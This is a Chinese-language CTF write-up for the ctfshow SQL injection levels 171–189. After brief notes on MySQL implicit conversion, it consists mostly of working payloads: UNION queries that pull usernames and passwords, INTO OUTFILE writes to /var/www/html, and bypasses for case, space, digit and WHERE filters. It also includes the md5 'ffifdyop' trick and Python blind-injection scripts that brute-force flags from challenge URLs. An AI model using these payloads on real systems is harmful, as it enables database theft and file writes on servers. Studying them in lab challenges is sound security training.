SQL

MySql隐式转换

  1. 以下规则描述比较操作的转换方式:
  2. 如果一个或两个参数都为空,则比较结果为空,但空安全<=>相等比较运算符除外。对于空值<=>空值,结果为真。不需要转换。
  3. 如果比较操作中的两个参数都是字符串,则将它们作为字符串进行比较。
  4. 如果两个参数都是整数,则将它们作为整数进行比较。
  5. 如果不与数字进行比较,十六进制值将被视为二进制字符串。
  6. 如果其中一个参数是timestampdatetime列,而另一个参数是常量,则在执行比较之前,该常量将转换为timestamp。这样做是为了更好地支持ODBC。注意,这不是为in()中的参数所做的!为了安全起见,在进行比较时始终使用完整的日期时间、日期或时间字符串。例如,要在与日期或时间值之间使用时获得最佳结果,请使用cast()将值显式转换为所需的数据类型。
  7. 如果其中一个参数是十进制值,则比较取决于另一个参数。如果另一个参数是十进制或整数值,则将这些参数作为十进制值进行比较;如果另一个参数是浮点值,则将这些参数作为浮点值进行比较。
  8. 在所有其他情况下,参数都是作为浮点数(实数)进行比较的。

eg:

select * from test where user=0

这种情况属于 其他情况 所以作为浮点数进行比较 把字符串和0都转为浮点数,字符串会转换失败(并不是所有字符串都会转成0 eg:1huahua转换浮点数为1.00),变成0,结果就成了0=0 就会列出所有数据

tips:php中 字符串 and True 默认字符串为False

  1. SELECT
  2. IF(1=1,true,False)Boolean1,
  3. IF('A',true,False)Boolean2,
  4. IF('A' AND 1=1,true,false)Boolean3
  5. FROM DUAL
  6. Boolean1 :1
  7. Boolean2 :0
  8. Boolean3 :0

171

payload : 99’ or 1=1—+

172

payload:1’ union select 1,(select group_concat(username,password) from ctfshow_user2)—+

173

payload:1’ union select 1,2,(select group_concat(hex(password)) from ctfshow_user3)—+ 将查出的结果进行hex编码.

174

解法1:

payload:1’ union select null,(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(to_base64(password)),’1’,’numA’),’2’,’numB’),’3’,’numC’),’4’,’numD’),’5’,’numE’),’6’,’numF’),’7’,’numG’),’8’,’numH’),’9’,’numI’),’0’,’numJ’) from ctfshow_user4)—+

python转换

  1. import base64
  2. flag='ZmxhZnumCsnumJOWMzNmRkMynumAmYmInumELTRhNTItODQnumCMynumJnumENzcnumJNjliNDEnumEMzVnumI'
  3. real_flag=''
  4. real_flag=flag.replace('numA','1').replace('numB','2').replace('numC','3').replace('numD','4').replace('numE','5').replace('numF','6').replace('numG','7').replace('numH','8').replace('numI','9').replace('numJ','0')
  5. print(base64.b64decode(real_flag))

解法2:

1’ union select 1,password from ctfshow_user4 into outfile ‘/var/www/html/huahua.txt’—+

175

1’ union select 1,password from ctfshow_user5 into outfile ‘/var/www/html/huahua.txt’—+ 利用outfile将文件直接写入

176

1’ union sElect 1,password from ctfshow_user5 into outfile ‘/var/www/html/huahua.txt’—+ 利用outfile将文件直接写入

大小写过滤

177

空格过滤 将上面payload 空格换成/**/即可

178

1’or’1’=’1’%23

179同上

180-182

‘or((id=26))and’1’=’1 过滤了所有空格 括号代替绕过

183

  1. import requests
  2. url="http://06f99719-3d72-4761-afd6-0403e5f6e1af.chall.ctf.show/select-waf.php"
  3. flagstr = "{abcdefghijklmnopqrstuvwxyz-0123456789}"
  4. flag=''
  5. print('开始运行')
  6. for i in range(1,46):
  7. if i < 5:
  8. continue
  9. for j in flagstr:
  10. data={
  11. "tableName":f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')"
  12. }
  13. post=requests.post(url,data=data)
  14. if '$user_count = 1;' in post.text:
  15. flag+=j
  16. print(f'flag is flag{'{flag}'})
  17. break

184

  1. tableName=ctfshow_user as a inner join ctfshow_user as b on !(a.id<>b.id)

过滤了where 用 多表连接查询

  1. select count(*) from ctfshow_user a right join ctfshow_user b on b.pass like 0x6325 //c%

Python脚本

  1. import requests
  2. def str_to_hex(s):
  3. return ''.join([hex(ord(c)).replace('0x', '') for c in s])
  4. url=""
  5. flag="ctfshow{"
  6. for i in range(0,100):
  7. for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
  8. data={
  9. 'tableName':"ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("0x"+str_to_hex(flag+j+"%"))
  10. }
  11. r=requests.post(url=url,data=data).text
  12. print(data)
  13. if "$user_count = 22;" in r:
  14. flag+=j
  15. print(flag)
  16. if j=='}':
  17. exit()
  18. break

185

过滤了数字 用true代替数字

  1. select true
  2. //1
  3. select true+true
  4. //2

Python脚本

  1. import requests
  2. url = "http://ec171179-1fbf-42e1-8714-e0224d73b45a.challenge.ctf.show:8080/select-waf.php"
  3. flag = 'ctfshow{'
  4. def createNum(n):
  5. num = 'true'
  6. if n == 1:
  7. return 'true'
  8. else:
  9. for i in range(n - 1):
  10. num += "+true"
  11. return num
  12. for i in range(45):
  13. if i <= 8:
  14. continue
  15. for j in range(127):
  16. data = {
  17. "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
  18. }
  19. r = requests.post(url, data=data)
  20. if r.text.find("$user_count = 43;") > 0:
  21. if chr(j) != ".":
  22. flag += chr(j)
  23. print(flag.lower())
  24. if chr(j) == "}":
  25. exit(0)
  26. break

web186

同上

web187

md5(string,true)绕过

ffifdyop、129581926211651571912466741651878684928

这两个字符串转换为十六进制hex值后

再将其转换成字符串后包含’ ‘or ’ 6’

or 两边一边为真 则为真 非零字符 都为true

web188

CTFSHOW-SQL - 图1

username=0&password=0 涉及到隐式转换

web189